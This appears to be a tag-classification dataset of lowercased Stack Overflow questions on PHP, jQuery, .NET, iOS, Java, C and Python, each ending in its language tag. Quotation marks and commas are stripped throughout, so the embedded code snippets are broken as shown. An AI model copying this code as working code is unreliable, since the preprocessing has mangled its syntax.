php notice undefined index how to get rid of  i m getting a <code>notice: undefined index</code> when i load my page at every of the following lines. the code works like expected only the source file (the html online) gives this notice. i m new to php but i learned that a notice needs to be fixed if possible.   <pre><code>&lt;select name= table &gt;     &lt;option value= table1  &lt; php if($_get[ table ]== table1 ){echo  selected ;} &gt; &gt;page1&lt;/option&gt;     &lt;option value= table2  &lt; php if($_get[ table ]== table2 ){echo  selected ;} &gt; &gt;page2&lt;/option&gt;     &lt;option value= table3  &lt; php if($_get[ table ]== table3 ){echo  selected ;} &gt; &gt;page3&lt;/option&gt;     &lt;option value= table4  &lt; php if($_get[ table ]== table4 ){echo  selected ;} &gt; &gt;page4&lt;/option&gt;     &lt;option value= table5  &lt; php if($_get[ table ]== table5 ){echo  selected ;} &gt; &gt;page5&lt;/option&gt; &lt;/select&gt; </code></pre>   i tried to add an isset <code>if(isset($_get</code> but that did not work. is there a way to get rid of this notice,php
is there a way to select an input of the parent form as a child with id specified   hey guys  quick question      i have an id that is applied multiple times on one of my pages (i used multiple duplicate ids because i also have a class applied that determines if the icon is a certain color rather than just duplicate the id css for each button color). i am using a jquery form handler that initiates on form submission and i would like to add an attribute to the submit button but since there is another button on the same page with the same id  i am having difficulty getting this to work. is there a way to select an input by id of the parent form     for example (i know it is wrong but it is what i want to achieve that matters in this example)   <pre><code>$( form#invite ).submit(function() {   $(this).( #buttonid ).attr({ disabled:true  value: sending...  }); </code></pre>,jquery
does anyone know of any performance benchmarks done between the various .net frameworks  what s the performance differences between the frameworks (for the same/equivalent code),.net
what class actually does the formatting of a composite format spec   if i specifiy a formatstring property for some databound value of {0:00000}  where i want a number to always have five digits  padded with  0  where necessary  what method on what class is actually invoked to perform the formatting and return the formatted string,.net
idiot check  in javascript (.tolowercase and .touppercase)  in my code   siaff  won t be the correct answer... i want to use  .tolowercase  and  .touppercase   but i don t know how to do that. any help would be appreciate   <pre><code>var que = prompt( what s my name )  if (que ==  siaff ) {     document.write( correct! ) }  else {     document.write( wrong! ) } </code></pre>,javascript
python:get the name of a variable  i declare a variable  say:   <pre><code>var=33 </code></pre>   i want to assign to another variable the string  var   that is   how to get the symbol s name of the value of the variable.    how can i do it     <hr>   i reformulate the question.   <pre><code>white=0 red=1 black=2 </code></pre>   x=2.    i want to assign the value  black  to a variable  say  y  taking into account that x=2.    it is hard to formulate exactly this question.    i want to avoid a code like this:   <pre><code>color=   if x==0:      color= white  elif x==1: etc. </code></pre>   is it possible to get the name of the color-variable as a string,python
deleting row in tableviewcontroller -  unrecognized selector  crash  i am attempting to delete two  products  in my tableview from a productarray property which is a mutablearray.     <pre><code> [self.productsarray removeobjectatindex:indexpath.row];      [tableview deleterowsatindexpaths:@[indexpath] withrowanimation:uitableviewrowanimationfade]; </code></pre>   i am getting this error in the console:   <blockquote>    -[__nsarrayi removeobjectatindex:]: unrecognized selector sent to instance 0x7ff6f850e410   2015-06-24 15:09:24.568 navctrl[17333:8660630] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[__nsarrayi removeobjectatindex:]: unrecognized selector sent to instance 0x7ff6f850e410   </blockquote>   looking at the debugger it seems that the indexpath property is null.  i am guessing this is a good candidate for why my code is crashing  however i don t know why indexpath doesn t have the value of what the row i deleted.    any help is appreciated and let me know if more info is needed.,ios
html element size issue <pre><code>&lt;span&gt;instuction » &amp;nbsp;&lt;/span&gt;&lt;input id=inst10008 size=38&gt;&lt;a jquery1249838079711= 50 &gt;&lt;img style= float: right  border=0 alt=select src= ../../content/image/selectbutton.gif &gt;&lt;/a&gt; </code></pre>   i have above in div so it is like  text textbox link     link is floating right so would be at end   <ul> <li> issue is i need textbox size to fill all available space    in different resolution textbox size would varry    size attribute makes it fixed width    i tried width but as i have link floating right it is not working as i need it </li> </ul>   how could it be achieved,html
what s the use of value types in .net   the <a href= http://msdn.microsoft.com/en-us/library/y23b5415.aspx  rel= nofollow noreferrer >official guidelines</a> suggest that there can be very few practical uses for these.  does anyone have examples of where they ve put them to good use,.net
non-stopping program in php  is it possible to do a non-stopping program in php  for example  using 2% of processor and some memory all of the time. if it s not possible  can you tell me what direction i should be looking for c++ non-stopping program (on unix server) and how to pass variables from php to c++.    edit:     first: i have max execution time which is stopping it (but i need it for other scripts in problem of bugs).     second: i don t want to burn server so while true it s not the best idea (it have to have some max memory and processor usage).,php
how to downgrade .netstandard 1.6 to .netstandard 1.3  i try to use microsoft.entityframeworkcore. it requires .netstandard1.3 to run. but i only have netstandard1.3 in my machine.    so how can i downgrade the version of .netstandard to 1.3    thanks a lot.,.net
why so many `.`firebug`-like word on the downloaded web page   a web page contains so many  <code>.firebug</code>-like class after downloading it on my local directory.   <pre><code>.firebuglayoutboxparent { border-top: 0 none !important; border-right: 1px dashed #e00 !important; border-bottom: 1px dashed #e00 !important; border-left: 0 none !important; position: fixed !important; width: auto !important; } .firebugruler{ position: absolute !important; } </code></pre>   why the <code>.firebuglayoutboxparent</code> do not exist in online status that is to say <code>.firebuglayoutboxparent</code> can t be seen by firebug it do not exist at all in online status <code>.firebuglayoutboxparent</code> can only be seen after downloading it into local directory and open it with some kind of text editor,html
acm 10038 jolly jumpers  i have written the solution code of <a href= http://uva.onlinejudge.org/index.php option=com_onlinejudge&amp;itemid=8&amp;page=show_problem&amp;problem=979  rel= nofollow >jolly jump problem</a> (acm 10038 uva). my code is as follows:   <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt;  int main(){   int count=0;   int number[3000]={0};   int absolute[3000]={0};   bool flag=true;   while(scanf( %d  &amp;count)){    for(int i=0;i&lt;count;++i){      scanf( %d  &amp;number[i]);      absolute[i]=0;    }    for(int j=0;j&lt;count-1;++j){      int diff=number[j]-number[j+1];      if(diff&lt;0)diff*=-1;      absolute[diff]=1;    }    flag=true;    for(int x=1;x&lt;count;++x){      if(absolute[x]!=1){        flag=false;        break;      }    }    if(flag)printf( jolly\n );    else printf( not jolly\n );  }  return 0; } </code></pre>   but the conmmited result is time limit exceeded. why  how do i revise my code to lower the run time,c
search specific data from text file in c++  i want to search for a specific row by just giving the id as input if the id matches an id in the file it should return the whole row the code below displays the whole data in the file what should i  do to get a single row.    my code is given below:   <pre><code>void write_file() {       ofstream file;       file.open ( example.txt );       file &lt;&lt;  mobile devices \n ;       file &lt;&lt;  name  memorysize  storage     screensize  networkadapter  multiplecameras  microphones \n ;       file &lt;&lt;   d01  \t 8gb  \t   32gb  \t4inches  \t wifi  \t\t yes  \t\t yes \n ;       file &lt;&lt;   d02  \t 8gb  \t   16gb  \t5inches  \t wifi  \t\t no  \t\t yes  \n ;       file &lt;&lt;   d03  \t 16gb  \t   32gb  \t4.5inches  \t wifi  \t\t yes  \t\t no  \n ;       file &lt;&lt;   d04  \t 32gb  \t   8gb  \t4inches  \t wifi  \t\t no  \t\t yes  \n ;       file &lt;&lt;   d05  \t 64gb  \t   8gb  \t5.5inches  \t wifi  \t\t yes  \t\t yes  \n ;       file &lt;&lt; endl;       file &lt;&lt;  personal computer \n ;       file &lt;&lt;  name  memorysize  storage     screensize  physicalkeyboard  pointingdevices  dvddrive  additionalports \n ;       file &lt;&lt;   pc01  \t 8gb  \t   32gb  \t12inches  \t yes  \t\t yes  \t\t no  \t\t 2 \n ;       file &lt;&lt;   pc02  \t 8gb  \t   16gb  \t14inches  \t yes  \t\t no  \t\t yes  \t\t 3 \n ;       file &lt;&lt;   pc03  \t 16gb  \t   32gb  \t16inches  \t yes  \t\t yes  \t\t yes  \t\t 1 \n ;       file &lt;&lt;   pc04  \t 32gb  \t   8gb  \t14inches  \t yes  \t\t no  \t\t no  \t\t 2 \n ;       file &lt;&lt;   pc05  \t 64gb  \t   8gb  \t12inches  \t yes  \t\t yes  \t\t yes  \t\t 3 \n ;       file &lt;&lt; endl;        file.close(); } void read_file() {     string read;      ifstream infile;     infile.open ( example.txt );         while(!infile.eof()) // to get you all the lines.         {             getline(infile read); // saves the line in string.             cout&lt;&lt;read&lt;&lt;endl; // prints our string.         }     infile.close();   } </code></pre>,c++
comparing hashmap integer with arraylist int somehow does not allways work  as you can see from the title  i am trying to compare the key of a hashmap to a int from an arraylist. for the first 47 compares  38 = 38  but on the 48 comparasion  38 != 38. can you help me with that    <pre><code>`@override public hashmap&lt;integer  integer&gt; populate(int roomid){     arraylist&lt;item&gt; original = items.populatetable(roomid);     hashmap&lt;integer  integer&gt; refined = new hashmap&lt;&gt;();     for(int i = 1; i &lt; original.size(); i++){         iterator it = refined.entryset().iterator();         refined.put(original.get(0).getstockid()  1); // put the first item in the hashmap         while(it.hasnext()){             map.entry pair = (map.entry)it.next();             if( pair.getkey().equals( original.get(i).getstockid() ) ) //if item is not in hashmap             {                 system.out.println(pair.getkey()+ ++ );                 refined.put(original.get(i).getstockid()  refined.get(original.get(i).getstockid()) + 1); //increment the value             }             else{                 system.out.println( new: +pair.getkey());                 refined.put(original.get(i).getstockid()  1); // add it to hashmap             }         }     }     iterator it1 = refined.entryset().iterator();     while(it1.hasnext()){         map.entry pair1 = (map.entry)it1.next();         system.out.println(pair1.getkey() +   =   + pair1.getvalue());     }      return refined; }` </code></pre>   <a href= https://i.stack.imgur.com/mevtv.png  rel= nofollow noreferrer >and this is the console</a>,java
ios 10 crash log dispatch queue: com.apple.main-thread  can someone help me to solve this problem！ i can t find the solution  a long time  this random crash    <strong>crash log</strong>   <blockquote>    exception type:  exc_bad_access (sigsegv)         exception subtype: kern_invalid_address at 0x0000000000000018        termination signal: segmentation fault: 11         termination reason: namespace signal  code 0xb terminating process:   exc handler [0] triggered by thread:  0        filtered syslog: none found        thread 0 name:  dispatch queue: com.apple.main-thread thread 0   crashed: 0   libsystem_blocks.dylib           0x0000000188c5ea1c   _block_release + 132        1   foundation                        0x000000018a98b10c   -[nsblockobservationsink dealloc] + 48        2   foundation                        0x000000018a98b10c   -[nsblockobservationsink dealloc] + 48        3   foundation                        0x000000018a98acb4   -[_nsconcreteobservation dealloc] + 60        4   foundation                        0x000000018a83a338 empty + 72        5   foundation                        0x000000018a7873b0   -[nsconcretemaptable removeallitems] + 84        6   uikit                             0x000000019051281c   -[uiview(additionallayoutsupport) _clearlayoutvariableobservationsonlytosupporttamicchange:] + 68        7   uikit                             0x000000018fcc0f3c   __57-[uiview(additionallayoutsupport) _switchtolayoutengine:]_block_invoke + 408        8   foundation                        0x000000018a7ac510 -[nsisengine   withbehaviors:performmodifications:] + 168        9   uikit                             0x000000018fbbd7cc   -[uiview(additionallayoutsupport) _switchtolayoutengine:] + 224        10  uikit                             0x000000018fcc1104   __57-[uiview(additionallayoutsupport) _switchtolayoutengine:]_block_invoke_2 + 196        11  uikit                             0x000000018fcc0fd8   __57-[uiview(additionallayoutsupport) _switchtolayoutengine:]_block_invoke + 564        12  foundation                        0x000000018a7ac510 -[nsisengine   withbehaviors:performmodifications:] + 168        13  uikit                             0x000000018fbbd7cc   -[uiview(additionallayoutsupport) _switchtolayoutengine:] + 224        14  uikit                             0x000000018fbbcf58   __45-[uiview(hierarchy) _postmovedfromsuperview:]_block_invoke + 120        15  foundation                        0x000000018a7ac510 -[nsisengine   withbehaviors:performmodifications:] + 168        16  uikit                             0x000000018fbbcdf0   -[uiview(hierarchy) _postmovedfromsuperview:] + 820        17  uikit                             0x000000018feba268   __uiviewwasremovedfromsuperview + 172        18  uikit                             0x000000018fbbbe6c   -[uiview(hierarchy) removefromsuperview] + 512        19  meiliyue                          0x00000001007f64a8 0x1000f8000 +   7333032        20  uikit                             0x000000018fbfa214   -[uiviewanimationblockdelegate _didendblockanimation:finished:context:] + 492        21  uikit                             0x000000018fbf9d38   -[uiviewanimationstate senddelegateanimationdidstop:finished:] + 312        22  uikit                             0x000000018fbf9b78   -[uiviewanimationstate animationdidstop:finished:] + 160        23  quartzcore                        0x000000018d083404   ca::layer::run_animation_callbacks(void*) + 260        24  libdispatch.dylib                 0x0000000188c091c0   _dispatch_client_callout + 16        25  libdispatch.dylib                 0x0000000188c0dd6c   _dispatch_main_queue_callback_4cf + 1000        26  corefoundation                    0x0000000189d2df2c   <strong>cfrunloop_is_servicing_the_main_dispatch_queue</strong> + 12        27  corefoundation                    0x0000000189d2bb18 __cfrunlooprun +   1660        28  corefoundation                    0x0000000189c5a048   cfrunlooprunspecific + 444        29  graphicsservices                  0x000000018b6dd198 gseventrunmodal   + 180        30  uikit                             0x000000018fc2c818 -[uiapplication   _run] + 684        31  uikit                             0x000000018fc27550   uiapplicationmain + 208        32  meiliyue                          0x000000010010af78 0x1000f8000 +   77688        33  libdyld.dylib                     0x0000000188c3c5b8 start + 4  </blockquote>,ios
a potentially dangerous request.path  been getting a lot of errors like this lately. i did some research and found that this is because html was detected in the input text. does this mean that someone is trying to hack my website     i can stop this from happeneing by turning off page validation  but this hardly seems like a good solution.    here is some info from one of the errors:   <pre><code>http_connection:keep-alive http_accept:*/* http_accept_encoding:gzip  deflate http_accept_language:en-us http_host:www.easymuaythai.com http_referer:http://www.google.com/search q=symbolic+tattoos&amp;hl=en&amp;client=safari&amp;tbo=d&amp;source=lnms&amp;tbm=isch&amp;ei=u5c1t8l-jflyiakrs5ixcg&amp;sa=x&amp;oi=mode_link&amp;ct=mode&amp;cd=2&amp;ved=0cakq_auoaq&amp;biw=1024&amp;bih=622 http_user_agent:mozilla/5.0 (ipad; cpu os 5_0_1 like mac os x) applewebkit/534.46 (khtml  like gecko) version/5.1 mobile/9a405 safari/7534.48.3  </code></pre>   don t know if it matters  but i have a rule in my iis to prevent image hotlinking.    thanks.,asp.net
creating private chat channels using socketio and laravel  ive implemented this tutorial within a project of mine  and its workin all fine beetween computers in the network  now i just want to know how could i make the user able to comunicate just to 1 person(socket) and not to all.    ive followed this guide.    <a href= https://github.com/oriceon/laravel-5-redis-and-socket.io  rel= nofollow >https://github.com/oriceon/laravel-5-redis-and-socket.io</a>,php
suggested way to allow others to plugin to my php script and change variable values   people want to use my jquery plugin  but get a list of images from a database instead of a directory  which is the standard way the plugin works.    my jquery plugin that uses the ajax() function to deliver &amp; return data to a php script.    the php script pulls files from a directory with getdir()  adds those files to an array and assigns that array to a variable.    people have requested the ability to create that variable value themselves by generating it from a database (not just pulling files from a directory using scandir).    what is a good  secure way to do to allow others to replace a variable value inside my php script     ideally  i would like there to be a way where users can create their own script in a separate document (and they don t need to alter my document).    here is a simplified example of my script:    html document   <pre><code>&lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js &gt;&lt;/script&gt;  &lt;script&gt; $.ajax({     type:  post       url:  example.php       cache: false      data: {         foo:  some_directory               }      success: function(html){     alert(html);     } }); &lt;/script&gt; </code></pre>   php document   <pre><code>&lt; php  $foo = $_post[ foo ]; $foo = scandir($foo); $foo = (explode(    $foo)); // how can i allow others to change this variable value  foreach ($foo as $a) {     echo  &lt;p&gt;$a&lt;/p&gt; ; }   &gt; </code></pre>,php
how to display all textbox in datagridviewtextbox of datagridview using c#application  i have a problem about display control in datagridview using c#. my datagridview have 3 column(a(combobox)  b(textbox)  c(textbox  width= 50)) and is loaded data from database.    when the form is display  all cell of column c will be displayed as textbox(have border and the width = 30).    i researched but don t found solution. if you know about this  please help me.    thank in advance.,c#
changing variable based on loop sequence in java  so i am building the petals on a rose game and the dice defined as dice1  dice 2 etc. i then run a loop to decide for each dice what its value is and add that to the game value. what i want is for every sequence of the loop for it to switch which variable it is looking at. so first run through look at dice1. and then second look at dice2.   <pre><code>public class rosegame {     private int dice1;     private int dice2;     private int dice3;     private int dice4;     private int dice5;     private int gamevalue;      public void rolldice()     {        dice1 = (int) ((6-1+1) * math.random()) + 1;        dice2 = (int) ((6-1+1) * math.random()) + 1;        dice3 = (int) ((6-1+1) * math.random()) + 1;        dice4 = (int) ((6-1+1) * math.random()) + 1;        dice5 = (int) ((6-1+1) * math.random()) + 1;      }      public void printvalues()     {         system.out.println( dice 1 is:  + dice1);         system.out.println( dice 2 is:  + dice2);         system.out.println( dice 3 is:  + dice3);         system.out.println( dice 4 is:  + dice4);         system.out.println( dice 5 is:  + dice5);      }      public int calculatepetalsonrose()     {         gamevalue = 0;         for(int i = 1; i &lt;=5; i++)         {             if (dice1 == 5)             {                 gamevalue = gamevalue + 4;             }             else if (dice1 == 3)             {                 gamevalue = gamevalue + 2;             }             else             {                 gamevalue = gamevalue;             }         }         return gamevalue;     } } </code></pre>   this is my current code and what i need is inside the if statement where it has dice1  i want that to be able to change everytime it loops. their is also a driver that runs the methods and allows input but so far that is working. thank you so much in advance    edit:    switching the variables to an array i now have which gives me an error saying java.lang.nullpointerexception. it happens when the rolldice function is being called.   <pre><code>public class petalsgame {     private int[] anarraydice;     private int gamevalue;      public void rolldice()     {        anarraydice[0] = (int) ((6-1+1) * math.random()) + 1;        anarraydice[1] = (int) ((6-1+1) * math.random()) + 1;        anarraydice[2] = (int) ((6-1+1) * math.random()) + 1;        anarraydice[3] = (int) ((6-1+1) * math.random()) + 1;        anarraydice[4] = (int) ((6-1+1) * math.random()) + 1;       }      public void printdice()     {         system.out.println( dice 1 is:  + anarraydice[0]);         system.out.println( dice 2 is:  + anarraydice[1]);         system.out.println( dice 3 is:  + anarraydice[2]);         system.out.println( dice 4 is:  + anarraydice[3]);         system.out.println( dice 5 is:  + anarraydice[4]);      }      public int calculateallpetals()     {         gamevalue = 0;         for(int i = 0; i &lt;=4; i++)         {             if (anarraydice[i] == 5)             {                 gamevalue = gamevalue + 4;             }             else if (anarraydice[i] == 3)             {                 gamevalue = gamevalue + 2;             }             else             {                 gamevalue = gamevalue;             }         }         return gamevalue;     } } </code></pre>   i was able to fix it by adding anarraydice = new int[5]; inside of the rolldice method. thank you for the help.,java
save data with nsuserdefaults  i create a quiz game. here is a part of my code:   <pre><code>- (void) viewdidload { logos = [[nsmutablearray alloc] init]; [logos addobject:@ adidas ]; [logos addobject:@ nike ]; [logos addobject:@ puma ];  [self showlogo]; }  int currentquestionindex;  - (void) showlogo {  currentquestionindex++;  nsstring *question = [logos objectatindex:currentquestionindex];  [_questionimage setimage:[uiimage imagenamed:question]];  ...  } </code></pre>   if user will choose the right answer   showlogo  will be called again to go to next question. so  level is completed.    everything works great.    please help me to save the information/levels. if level is completed  when user launch game he have to start with saved level.    this is what i tried already:   <pre><code>- (void) checkanswer {  ///... if user answered right  [[nsuserdefaults standarduserdefaults] setinteger:currentquestionindex forkey:@ currentlevel ];  [self showlogo]; /// so  i tried to save  currentquestionindex  forkey currentlevel  and call  showlogo  } </code></pre>   and here is modified  showlogo    <pre><code>- (void) showlogo {  int savedlevel = [[nsuserdefaults standarduserdefaults] integerforkey:@ currentlevel ];  currentquestionindex = savedlevel+1 ;  nsstring *question = [logos objectatindex:currentquestionindex];  [_questionimage setimage:[uiimage imagenamed:question]];  ...  } </code></pre>   but doesn t work.. using this method  i tried to save score  and it works also..    help please. thanks,objective-c
jquery autocomplete using two data sets   i have recently been using jquery for light dom manipulation for my web application and it works great. i ve now been requested to add an auto complete to a data field that the user has to fill in. the data in this field is from a very limited set of data but the user can enter that data in its full format  e.g. product name  and code format  e.g. article id. so for instance   panasonic dvd player  and pan-dv-24 are equivalent.     the data set is really small  maybe 300 rows  so i thought about using jquery to implement auto complete that searches from a set of data where full format and code format are defined. i ve looked around are there seems to be a lot of uncertainty about the state of autocomplete plugins for jquery and i m not sure how you would implement an auto complete that treats two columns of data as  synonyms .,jquery
infinite loop when trying to clear the input buffer  ok so after reading these previous questions:     <a href= https://stackoverflow.com/questions/27273303/alternate-method-for-clearing-input-buffer-in-c >alternate method for clearing input buffer in c</a>    <a href= https://stackoverflow.com/questions/7898215/how-to-clear-input-buffer-in-c >how to clear input buffer in c </a>    i came up with a piece of code to empty the input buffer and count how many values were in the buffer  then return this number. a comparison is then made to check if the number exceeded the allowed number.    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;   int empty(); int main() {     double x;     int y=0;     while(y==0)     {         y=1;          if(scanf( %lf  &amp;x)!=1 || empty()&gt;1) //checks if the value is acceppted                                            // and then attempts to empty                                            // the input buffer. i always expect                                            //at least 1 returned due to the                                            // eof or  \n         {             fprintf(stdout  invalid character(s) entered  please re-enter.\n );             y=0;        }     }     return(x); }  int empty() {     int clearr n=0;     do     {         n++;     }while((clearr=fgetc(stdin))!= eof &amp;&amp; clearr != \n ); // if eof or  \n  is reached                                                           // it ends  returning the                                                           //number of characters     return(n); } </code></pre>   if i then run the program and enter 2 or 2.2 etc  the number is accepted and returned.    if i enter 2a  or 2 a or 2 2 etc it always catches the space/letter/etc and forces a single loop to allow you to try and reenter a value    if  however if enter the offending item  i.e the a  first then an infinite loop occurs.    this does not make sense to me as from what i understand  when the <code>fgetc(stdin)</code> is called it must pull either a character or an <code>eof</code> which would signify only one item has been entered  ending the loop.,c
potential problems in objective-c code  here is a small piece of code. posted by russian company yandex as a part of their interview.  what are potential problems here  it looks very simple  should be hidden problems i can not see.    first header   <pre><code>//foo.h #import &lt;cocoa/cocoa.h&gt; @interface foo : nsobject {    nsstring* str;    static int i = 0; }  - (nsstring*) str; @end </code></pre>   another file    <pre><code>//foo.m #import  foo.h  @implementation - (id) init {    return [self initwithstr: number:  someint:6]; }  - (id) initwithstr:(nsstring*)thestr someint:(int)value {    self = [super init];    str = [nsstring stringwithformat:@ %@%d   thestr  value];    return self; }  - (nsstring*) str {    return str; }  - (void) setstr:(nsstring*)thestr {    str = thestr; } @end </code></pre>   and the last file   <pre><code>//main.m #import &lt;cocoa/cocoa.h&gt; #import  foo.h  int main(int argc  char *argv[]) {    foo obja;    nslog([obja str]);    [obja setstr:@ hello world! ];    nslog([obja str]);     foo* objb = [[foo alloc] init];    foo* objc = [[foo alloc] initwithstr:@ my magic number:  value:265];    objb = objc;     nslog([objb str]);     [obja release];    [objb release];    [objc release];     return 0; } </code></pre>,objective-c
how can i generate a list of words containing only a specific number of letters in specific positions   i want to generate a list of all words with certain letters in specific positions  e.g. s  b  a  d or a in position 1  c  w  o  f  b or d at position 2 etc.  i know which letters can be in which positions  but i don t know how i can generate all possible combinations of these sets of letters in the specific positions.,python
css : background-color on multi-line text   do you have an idea to add a  background-color  property on a multi-line text  with two difficulties:   <ul> <li>background must stop after the last word of each line</li> <li>no space between each line without background</li> </ul>   example :    <img src= https://i.stack.imgur.com/dx42b.png  alt= enter image description here >    thanks !,css
are there still cases when we would still use non-generic collections   besides the obvious reason of storing any type as an object and storing it in a non-generic collection  what other reasons are there for still using non-generic collections.    as of yet i have found no other purpose  other than backward compatibility with older software  for even keeping these types of collections in the .net framework.    it seems like it would just create more work  because you re constantly boxing and un-boxing from type object to it s original type and vice-versa.     also you run into the issue of sometimes not remembering what the original datatype of the object was to begin with (eg double  float  decimal). this in fact has to be one of the problems i used to run into when developing in php.    type safety seems like the way to go when developing modern-day applications  as i have created quite a few already and have never been forced to use any of them (non-generic collections).    or maybe there are other reasons i m not aware of that make these collections necessary  obviously there included when trying to pass the certification exam for .net for a reason. just not sure why. could someone please shed light on this subject,.net
in mysql  how do i join and only get the first of a set  i have 3 tables: events  products and a association table event_products.    events:event_id      products: product_id  product_name    event_products:event_id  product_id    there can be none or many products associated with an event.    my question is i need a list of events  and only one resulting row for each event. in the list i need only one product for each event  preferably the first one added   or if that can t be done  the one with lowest product_id.   <pre><code>select e.event_id  ep.product_id  p.product_name from `events` e left outer join event_products ep on ep.event_id = e.event_id left outer join products p on p.product_id = ep.product_id; </code></pre>   will  ofcourse  return multiple rows for every event that have multiple products assigned.    thanks,mysql
is it possible to suppress python s escape sequence processing on a given string without using the raw specifier   <strong>conclusion:</strong> it s impossible to override or disable python s built-in escape sequence processing  such that  you can skip using the raw prefix specifier.  i dug into python s internals to figure this out.  so if anyone tries designing objects that work on complex strings (like regex) as part of some kind of framework  make sure to specify in the docstrings that string arguments to the object s <code>__init__()</code> <strong>must</strong> include the <code>r</code> prefix!    <br/><br/><br/><strong>original question:</strong> i am finding it a bit difficult to force python to not  change  anything about a user-inputted string  which may contain among other things  regex or escaped hexadecimal sequences.  i ve already tried various combinations of raw strings  <code>.encode( string-escape )</code> (and its decode counterpart)  but i can t find the right approach.    given an escaped  hexadecimal representation of the documentation ipv6 address <code>2001:0db8:85a3:0000:0000:8a2e:0370:7334</code>  using <code>.encode()</code>  this small script (called <code>x.py</code>):   <pre><code>#!/usr/bin/env python  class foo(object):     __slots__ = ( _bar  )     def __init__(self  input):         if input is not none:             self._bar = input.encode( string-escape )         else:             self._bar =  qux        def _get_bar(self): return self._bar     bar = property(_get_bar) #  x = foo( \x20\x01\x0d\xb8\x85\xa3\x00\x00\x00\x00\x8a\x2e\x03\x70\x73\x34 ) print x.bar </code></pre>   <br/>will yield the following output when executed:   <pre><code>$ ./x.py  \x01\r\xb8\x85\xa3\x00\x00\x00\x00\x8a.\x03ps4 </code></pre>   <br/>note the <code>\x20</code> got converted to an ascii space character  along with a few others.  this is basically correct due to python processing the escaped hex sequences and converting them to their printable ascii values.    <br/>this can be solved if the initializer to <code>foo()</code> was treated as a raw string (and the <code>.encode()</code> call removed)  like this:   <pre><code>x = foo(r \x20\x01\x0d\xb8\x85\xa3\x00\x00\x00\x00\x8a\x2e\x03\x70\x73\x34 ) </code></pre>   <br/>however  my end goal is to create a kind of framework that can be used and i want to hide these kinds of  implementation details  from the end user.  if they called <code>foo()</code> with the above ipv6 address in escaped hexadecimal form (without the raw specifier) and immediately print it back out  they should get back <em>exactly</em> what they put in w/o knowing or using the raw specifier.  so i need to find a way to have <code>foo</code> s <code>__init__()</code> do whatever processing is necessary to enable that.    <br/><br/><strong>edit:</strong> per <a href= https://stackoverflow.com/a/647787 >this so question</a>  it seems it s a defect of python  in that it <strong>always</strong> performs some kind of escape sequence processing.  there does not appear to be any kind of facility to completely turn off escape sequence processing  even temporarily.  sucks.  i guess i am going to have to research subclassing <code>str</code> to create something like <code>rawstr</code> that intelligently determines what escape sequences python processed in a string  and convert them back to their original format.  this is not going to be fun...    <br/><strong>edit2:</strong> another example  given the sample regex below:   <pre><code> ^.{0}\xcb\x00\x71[\x00-\xff]  </code></pre>   <br/>if i assign this to a var or pass it to a function <strong>without</strong> using the raw specifier  the <code>\x71</code> gets converted to the letter <code>q</code>.  even if i add <code>.encode( string-escape )</code> or <code>.replace( \\    \\\\ )</code>  the escape sequences <strong>are still processed</strong>.  thus resulting in this output:   <pre><code> ^.{0}\xcb\x00q[\x00-\xff]  </code></pre>   <br/>how can i stop this  again  without using the raw specifier   is there some way to  turn off  the escape sequence processing or  revert  it after the fact thus that the <code>q</code> turns back into <code>\x71</code>   is there a way to process the string and escape the backslashes <strong>before</strong> the escape sequence processing happens,python
java codes for a restaurant multiple steps  <strong>question 1:</strong>    assuming “oop restaurant” owner has engaged you to write a java program to take the restaurant customer order. the beverage menu of the restaurant is as shown in table 1. this program must allow customer to decide how many items he/she wish to order. then  it will let the customer to choose the each item according to his/her preference. upon completion of the ordering  the program will display the total amount of the order to the customer. then  the program must ask the customer whether to do another set of ordering.    in your code  you must create a method to process the item choice and return the price of the item using the following method signature:   <pre><code>double processitem(int input) </code></pre>   the sample out is as shown in figure 1.   <pre><code>beverage     | price fried rice   | rm5.50 chicken rice | rm5.00 toast bread  | rm2.00 mixed rice   | rm3.80 table 1 </code></pre>   how do i even start this  i m a law student but got forced to do this please do help me out your kindness would be repayed thanks in advance,java
preferences-like framework for multiple vm s  i am currently coding settings for a project.    today i have found out that this project will be running on multiple vm s and that is why i have to scrap my preferences wrapper and code a new one.    what java.util.prefs.preferences-like frameworks are there except properties  i do want the ability to save more than just string types.    thank you,java
can t open a file in switch statement in c++  i have a switch statement in my code  if the user chooses 1  he will be asked to write the file to write to if he chooses 2; he will be asked to write the name of file to read from  but i get this error:    initialization of  file_name  skipped by case label.    here is my code:   <pre><code>char filename[100];     char f[100];      int choice;     bool x;     int idd iddd;     string line;     cout&lt;&lt; enter file name:  &lt;&lt;endl;     cin&gt;&gt;filename;     ofstream products_out(filename ios::out);      products_out&lt;&lt;table.p&lt;&lt;   &lt;&lt;table.n&lt;&lt;   &lt;&lt;table.a&lt;&lt;   &lt;&lt;table.b&lt;&lt;endl;     while(1){      cout&lt;&lt; 1-add product &lt;&lt;endl;     cout&lt;&lt; 2-retreive product &lt;&lt;endl;     cout&lt;&lt; 3-update name &lt;&lt;endl;     cout&lt;&lt; 5-update cost &lt;&lt;endl;     cout&lt;&lt; 6-update quantity &lt;&lt;endl;      cout&lt;&lt; 4-exit &lt;&lt;endl;     cin&gt;&gt;choice;      switch(choice){     case 1:         cout&lt;&lt; enter id &lt;&lt;endl;         cin&gt;&gt;id;         s.id=id;         cout&lt;&lt; enter name &lt;&lt;endl;         cin&gt;&gt;name;         strcpy(s.name name);         cout&lt;&lt; enter cost &lt;&lt;endl;         cin&gt;&gt;cost;         s.cost=cost;         cout&lt;&lt; enter quantity &lt;&lt;endl;         cin&gt;&gt;quantity;         s.quantity=quantity;         x=table.insert(s);          products_out&lt;&lt;s.id&lt;&lt;   &lt;&lt;s.name&lt;&lt;   &lt;&lt;s.cost&lt;&lt;   &lt;&lt;s.quantity&lt;&lt;endl;         cout&lt;&lt; yes inserted &lt;&lt;endl;             break;      case 2:         cout&lt;&lt; enter id of product &lt;&lt;endl;         cin&gt;&gt;idd;         cout&lt;&lt; enter the file you want to open &lt;&lt;endl;         cin&gt;&gt;f;             ifstream products_in(f ios::in);             products_in.seekg(0  ios::beg);             getline(products_in  line);             if (line.find(id))     {         cout &lt;&lt; endl &lt;&lt; line;     }           break; </code></pre>,c++
